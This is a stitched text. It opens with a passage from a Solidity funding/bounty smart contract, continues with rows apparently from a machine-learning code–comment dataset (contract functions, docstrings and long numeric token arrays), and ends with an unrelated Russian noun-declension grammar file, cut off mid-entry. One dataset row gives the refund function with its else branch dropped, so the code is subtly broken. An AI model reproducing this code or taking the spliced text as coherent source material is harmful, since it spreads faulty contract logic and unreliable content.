_platformId, ETHER_ADDRESS, msg.value, msg.sender), "funding with ether failed"); return true; } /* * Public function, supposed to be called from another contract, after receiving approval * Funds an issue, expects platform, platformid to be concatted with |AAC| as delimiter and provided as _data * Only used with the FundRequest approveAndCall function at the moment. Might be removed later in favor of 2 calls. */ function receiveApproval(address _from, uint _amount, address _token, bytes _data) public { var sliced = string(_data).toSlice(); var platform = sliced.split("|AAC|".toSlice()); var platformId = sliced.split("|AAC|".toSlice()); require(doFunding(platform.toBytes32(), platformId.toString(), _token, _amount, _from)); } /* * Claim: Public function, only supposed to be called from the outside * Anyone can call this function, but a valid signature from FundRequest is required */ function claim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) public returns (bool) { require(validClaim(platform, platformId, solver, solverAddress, r, s, v), "Claimsignature was not valid"); uint256 tokenCount = fundRepository.getFundedTokenCount(platform, platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(platform, platformId, i); uint256 tokenAmount = fundRepository.claimToken(platform, platformId, token); if (token == ETHER_ADDRESS) { solverAddress.transfer(tokenAmount); } else { require(ERC20(token).transfer(solverAddress, tokenAmount), "transfer of tokens from contract failed"); } require(claimRepository.addClaim(solverAddress, platform, platformId, solver, token, tokenAmount), "adding claim to repository failed"); emit Claimed(solverAddress, platform, platformId, solver, token, tokenAmount); } require(fundRepository.finishResolveFund(platform, platformId), "Resolving the fund failed"); return true; } /* * Claim: Public function, only supposed to be called from the outside * Only FundRequest can call this function for now, which will refund a user for a specific issue. */ function refund(bytes32 _platform, string _platformId, address _funder) external onlyCaller returns (bool) { uint256 tokenCount = fundRepository.getFundedTokenCount(_platform, _platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(_platform, _platformId, i); uint256 tokenAmount = fundRepository.refundToken(_platform, _platformId, _funder, token); if (tokenAmount > 0) { if (token == ETHER_ADDRESS) { _funder.transfer(tokenAmount); } else { require(ERC20(token).transfer(_funder, tokenAmount), "transfer of tokens from contract failed"); } } emit Refund(_funder, _platform, _platformId, token, tokenAmount); } } /* * only called from within the this contract itself, will actually do the funding */ function doFunding(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) internal returns (bool success) { if (_token == ETHER_ADDRESS) { //must check this, so we don't have people foefeling with the amounts require(msg.value == _value); } require(!fundRepository.issueResolved(_platform, _platformId), "Can't fund tokens, platformId already claimed"); for (uint idx = 0; idx < preconditions.length; idx++) { if (address(preconditions[idx]) != address(0)) { require(preconditions[idx].isValid(_platform, _platformId, _token, _value, _funder)); } } require(_value > 0, "amount of tokens needs to be more than 0"); if (_token != ETHER_ADDRESS) { require(ERC20(_token).transferFrom(_funder, address(this), _value), "Transfer of tokens to contract failed"); } fundRepository.updateFunders(_funder, _platform, _platformId); fundRepository.updateBalances(_funder, _platform, _platformId, _token, _value); emit Funded(_funder, _platform, _platformId, _token, _value); return true; } /* * checks if a claim is valid, by checking the signature */ function validClaim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) internal view returns (bool) { bytes32 h = keccak256(abi.encodePacked(createClaimMsg(platform, platformId, solver, solverAddress))); address signerAddress = ecrecover(h, v, r, s); return claimSignerAddress == signerAddress; } function createClaimMsg(bytes32 platform, string platformId, string solver, address solverAddress) internal pure returns (string) { return strings.bytes32ToString(platform) .strConcat(prependUnderscore(platformId)) .strConcat(prependUnderscore(solver)) .strConcat(prependUnderscore(strings.addressToString(solverAddress))); } function addPrecondition(address _precondition) external onlyOwner { preconditions.push(Precondition(_precondition)); } function removePrecondition(uint _index) external onlyOwner { if (_index >= preconditions.length) return; for (uint i = _index; i < preconditions.length - 1; i++) { preconditions[i] = preconditions[i + 1]; } delete preconditions[preconditions.length - 1]; preconditions.length--; } function setFundRepository(address _repositoryAddress) public onlyOwner { fundRepository = FundRepository(_repositoryAddress); } function setClaimRepository(address _claimRepository) public onlyOwner { claimRepository = ClaimRepository(_claimRepository); } function setClaimSignerAddress(address _claimSignerAddress) addressNotNull(_claimSignerAddress) public onlyOwner { claimSignerAddress = _claimSignerAddress; } function prependUnderscore(string str) internal pure returns (string) { return "_".strConcat(str); } //required to be able to migrate to a new FundRequestContract function migrateTokens(address _token, address newContract) external onlyOwner { require(newContract != address(0)); if (_token == ETHER_ADDRESS) { newContract.transfer(address(this).balance); } else { ERC20 token = ERC20(_token); token.transfer(newContract, token.balanceOf(address(this))); } } modifier addressNotNull(address target) { require(target != address(0), "target address can not be 0x0"); _; } //required should there be an issue with available ether function deposit() external onlyOwner payable { require(msg.value > 0, "Should at least be 1 wei deposited"); } }
Claim: Public function, only supposed to be called from the outside Only FundRequest can call this function for now, which will refund a user for a specific issue./
function refund(bytes32 _platform, string _platformId, address _funder) external onlyCaller returns (bool) { uint256 tokenCount = fundRepository.getFundedTokenCount(_platform, _platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(_platform, _platformId, i); uint256 tokenAmount = fundRepository.refundToken(_platform, _platformId, _funder, token); if (tokenAmount > 0) { if (token == ETHER_ADDRESS) { _funder.transfer(tokenAmount); require(ERC20(token).transfer(_funder, tokenAmount), "transfer of tokens from contract failed"); } } emit Refund(_funder, _platform, _platformId, token, tokenAmount); } }
13,930,590
[ 1, 9762, 30, 7224, 445, 16, 1338, 18405, 358, 506, 2566, 628, 326, 8220, 5098, 478, 1074, 691, 848, 745, 333, 445, 364, 2037, 16, 1492, 903, 16255, 279, 729, 364, 279, 2923, 5672, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16255, 12, 3890, 1578, 389, 9898, 16, 533, 389, 9898, 548, 16, 1758, 389, 74, 9341, 13, 3903, 1338, 11095, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 5034, 1147, 1380, 273, 284, 1074, 3305, 18, 588, 42, 12254, 1345, 1380, 24899, 9898, 16, 389, 9898, 548, 1769, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 1147, 1380, 31, 277, 27245, 288, 203, 5411, 1758, 1147, 273, 284, 1074, 3305, 18, 588, 42, 12254, 5157, 21268, 24899, 9898, 16, 389, 9898, 548, 16, 277, 1769, 203, 5411, 2254, 5034, 1147, 6275, 273, 284, 1074, 3305, 18, 1734, 1074, 1345, 24899, 9898, 16, 389, 9898, 548, 16, 389, 74, 9341, 16, 1147, 1769, 203, 5411, 309, 261, 2316, 6275, 405, 374, 13, 288, 203, 7734, 309, 261, 2316, 422, 512, 19905, 67, 15140, 13, 288, 203, 10792, 389, 74, 9341, 18, 13866, 12, 2316, 6275, 1769, 203, 10792, 2583, 12, 654, 39, 3462, 12, 2316, 2934, 13866, 24899, 74, 9341, 16, 1147, 6275, 3631, 315, 13866, 434, 2430, 628, 6835, 2535, 8863, 203, 7734, 289, 203, 5411, 289, 203, 5411, 3626, 3941, 1074, 24899, 74, 9341, 16, 389, 9898, 16, 389, 9898, 548, 16, 1147, 16, 1147, 6275, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/7700/0xa59a39e53c513d92c66C3e146B60d59D9E6C7e19/sources/contracts/CantoReadyLocker.sol
* @notice increase unlock time of already locked tokens @param newUnlockTime new unlock time (unix time in seconds)/
function extendLockTime(uint256 lockId, uint256 newUnlockTime) external onlyLockOwner(lockId) { require(lockerActive, "LOCKER IS NOT CURRENTLY ACTIVE"); require(newUnlockTime > block.timestamp, "UNLOCK TIME IN THE PAST"); require(newUnlockTime < 10000000000, "INVALID UNLOCK TIME, MUST BE UNIX TIME IN SECONDS"); TokenLock storage lock = tokenLocksById[lockId]; require(lock.unlockTime < newUnlockTime, "NOT INCREASING UNLOCK TIME"); lock.unlockTime = newUnlockTime; emit OnLockDurationIncreased(lockId, newUnlockTime); }
4,663,669
[ 1, 267, 11908, 7186, 813, 434, 1818, 8586, 2430, 225, 394, 7087, 950, 394, 7186, 813, 261, 21136, 813, 316, 3974, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2133, 2531, 950, 12, 11890, 5034, 2176, 548, 16, 2254, 5034, 394, 7087, 950, 13, 3903, 1338, 2531, 5541, 12, 739, 548, 13, 288, 203, 3639, 2583, 12, 739, 264, 3896, 16, 315, 6589, 654, 4437, 4269, 18484, 7076, 21135, 8863, 203, 3639, 2583, 12, 2704, 7087, 950, 405, 1203, 18, 5508, 16, 315, 2124, 6589, 8721, 2120, 12786, 453, 9053, 8863, 203, 3639, 2583, 12, 2704, 7087, 950, 411, 2130, 12648, 16, 315, 9347, 5019, 6589, 8721, 16, 10685, 9722, 23160, 8721, 2120, 17209, 8863, 203, 3639, 3155, 2531, 2502, 2176, 273, 1147, 19159, 5132, 63, 739, 548, 15533, 203, 3639, 2583, 12, 739, 18, 26226, 950, 411, 394, 7087, 950, 16, 315, 4400, 2120, 5458, 3033, 1360, 5019, 6589, 8721, 8863, 203, 3639, 2176, 18, 26226, 950, 273, 394, 7087, 950, 31, 203, 3639, 3626, 2755, 2531, 5326, 27597, 8905, 12, 739, 548, 16, 394, 7087, 950, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x8cd5d29F6469A980C85E88478d6087cb154af7aC/sources/contracts/token/ERC20.sol
* @dev Moves `amount` of tokens from `sender` to `recipient`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./
function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = balanceOf[from]; require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance'); unchecked { balanceOf[from] = fromBalance - amount; } balanceOf[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); }
9,667,443
[ 1, 19297, 1375, 8949, 68, 434, 2430, 628, 1375, 15330, 68, 358, 1375, 20367, 8338, 1220, 2713, 445, 353, 7680, 358, 288, 13866, 5779, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 2348, 5859, 1147, 1656, 281, 16, 9026, 310, 1791, 28757, 16, 5527, 18, 7377, 1282, 279, 288, 5912, 97, 871, 18, 29076, 30, 300, 1375, 2080, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 2080, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 13866, 12, 203, 565, 1758, 628, 16, 203, 565, 1758, 358, 16, 203, 565, 2254, 5034, 3844, 203, 225, 262, 2713, 5024, 288, 203, 565, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 296, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8284, 203, 565, 2583, 12, 869, 480, 1758, 12, 20, 3631, 296, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8284, 203, 203, 565, 389, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 3844, 1769, 203, 203, 565, 2254, 5034, 628, 13937, 273, 11013, 951, 63, 2080, 15533, 203, 565, 2583, 12, 2080, 13937, 1545, 3844, 16, 296, 654, 39, 3462, 30, 7412, 3844, 14399, 11013, 8284, 203, 565, 22893, 288, 203, 1377, 11013, 951, 63, 2080, 65, 273, 628, 13937, 300, 3844, 31, 203, 565, 289, 203, 565, 11013, 951, 63, 869, 65, 1011, 3844, 31, 203, 203, 565, 3626, 12279, 12, 2080, 16, 358, 16, 3844, 1769, 203, 203, 565, 389, 5205, 1345, 5912, 12, 2080, 16, 358, 16, 3844, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.8; pragma experimental ABIEncoderV2; import "../proto/Ack.sol"; import "../core/02-client/ClientManager.sol"; import "../interfaces/IPacket.sol"; import "../interfaces/ITransfer.sol"; import "../interfaces/IERC1155Bank.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "hardhat/console.sol"; contract MockTransfer is Initializable, ITransfer, OwnableUpgradeable { string private constant PORT = "nft"; IPacket public packet; IClientManager public clientManager; // check if caller is clientManager // check if caller is clientManager modifier onlyPacket() { require(msg.sender == address(packet), "caller not packet contract"); _; } function initialize(address packetContract, address clientMgrContract) public initializer { packet = IPacket(packetContract); clientManager = IClientManager(clientMgrContract); } /** * @notice this function is to send nft and construct data packet * @param transferData Send the data needed by nft */ function sendTransfer(TransferDataTypes.TransferData calldata transferData) external override { PacketTypes.Packet memory crossPacket = PacketTypes.Packet({ sequence: 1, port: PORT, sourceChain: "source", destChain: transferData.destChain, relayChain: transferData.relayChain, data: bytes("wd") }); packet.sendPacket(crossPacket); } /** * @notice this function is to receive packet * @param pac Data package containing nft data */ function onRecvPacket(PacketTypes.Packet calldata pac) external override onlyPacket returns (bytes memory acknowledgement) { if (pac.data.length != 0) { return NewAcknowledgement(true, ""); } return NewAcknowledgement(false, "error"); } /** * @notice This method is start ack method * @param pac Packets transmitted * @param acknowledgement ack */ function onAcknowledgementPacket( PacketTypes.Packet calldata pac, bytes calldata acknowledgement ) external override onlyPacket {} /** * @notice this function is to create ack * @param success success or not */ function NewAcknowledgement(bool success, string memory errMsg) public pure returns (bytes memory) { Acknowledgement.Data memory ack; if (success) { ack.result = hex"01"; } else { ack.error = errMsg; } return Acknowledgement.encode(ack); } }
* @notice This method is start ack method @param pac Packets transmitted @param acknowledgement ack/
) external override onlyPacket {}
15,860,434
[ 1, 2503, 707, 353, 787, 8479, 707, 225, 293, 1077, 7930, 2413, 906, 7948, 225, 23262, 75, 820, 8479, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 3903, 3849, 1338, 6667, 2618, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// ----------------------------------------------------------------------------- // File RUS_NOUNS_PARADIGMAS.SOL // // (c) Koziev Elijah // SOLARIX Intellectronix Project http://www.solarix.ru // // Лексикон - определения таблиц формообразования (парадигм) для существительных. // // Русские существительные http://www.solarix.ru/for_developers/api/russian-noun-declension.shtml // Особенности описания существительных http://www.solarix.ru/russian_grammar_dictionary/russian-noun-declension.shtml // Словарные статьи http://www.solarix.ru/for_developers/docs/entries.shtml#words // // // 18.12.2009 - для парадигм мужского рода проставлены признаки одушевленности, // чтобы избежать появления (и поправить имеющиеся) ошибок в // винительном падеже. // 19.03.2010 - полная переделка концепции автопарадигм, теперь они не выделяются // особым ключевым словом auto и могут иметь имя для ссылок из // прикладного кода через API. // 02.01.2012 - убраны некоторые малочисленные парадигмы // ----------------------------------------------------------------------------- // // CD->30.12.2000 // LC->01.08.2018 // -------------- #include "sg_defs.h" automat sg { paradigm /*ОПЕРАТОР*/ Сущ_1002 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // КАРП ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // КАРПА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // КАРПОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%+А" } // КАРПА ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // КАРПУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // КАРПЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+Ы" } :: flexer "pl" // КАРПЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // КАРПОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // КАРПАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // КАРПЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // КАРПАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // КАРПАХ } paradigm Сущ_1003 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ФАЙЛ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // ФАЙЛА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // ФАЙЛОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ФАЙЛ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // ФАЙЛУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // ФАЙЛЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+Ы" } :: flexer "pl" // ФАЙЛЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // ФАЙЛОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // ФАЙЛАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+Ы" } :: flexer "pl" // ФАЙЛЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // ФАЙЛАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // ФАЙЛАХ } paradigm Бахчисарай, Сущ_1005 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Й" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ГНОЙ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // ГНОЯ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // ГНОЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ГНОЙ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // ГНОЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ГНОЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ГНОИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕВ" } :: flexer "pl" // ГНОЕВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // ГНОЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ГНОИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // ГНОЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // ГНОЯХ } paradigm /*ДУШ*/ Сущ_1006 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ДУШ ДУШИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // ДУША ДУШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЕМ" "%+АМИ" } // ДУШЕМ ДУШАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // ДУШ ДУШИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ДУШУ ДУШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ДУШЕ ДУШАХ } paradigm /*СИДОРОВ*/ Сущ_1007 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // ИВАНОВ ИВАНОВЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЫХ" } // ИВАНОВА ИВАНОВЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЫМ" "%+ЫМИ" } // ИВАНОВЫМ ИВАНОВЫМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЫХ" } // ИВАНОВА ИВАНОВЫХ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+ЫМ" } // ИВАНОВУ ИВАНОВЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+ЫХ" } // ИВАНОВЕ ИВАНОВЫХ } paradigm ЭТАЖ, Сущ_1068 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЖЧШЩ]" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЭТАЖ ПАДЕЖ:(РОД) 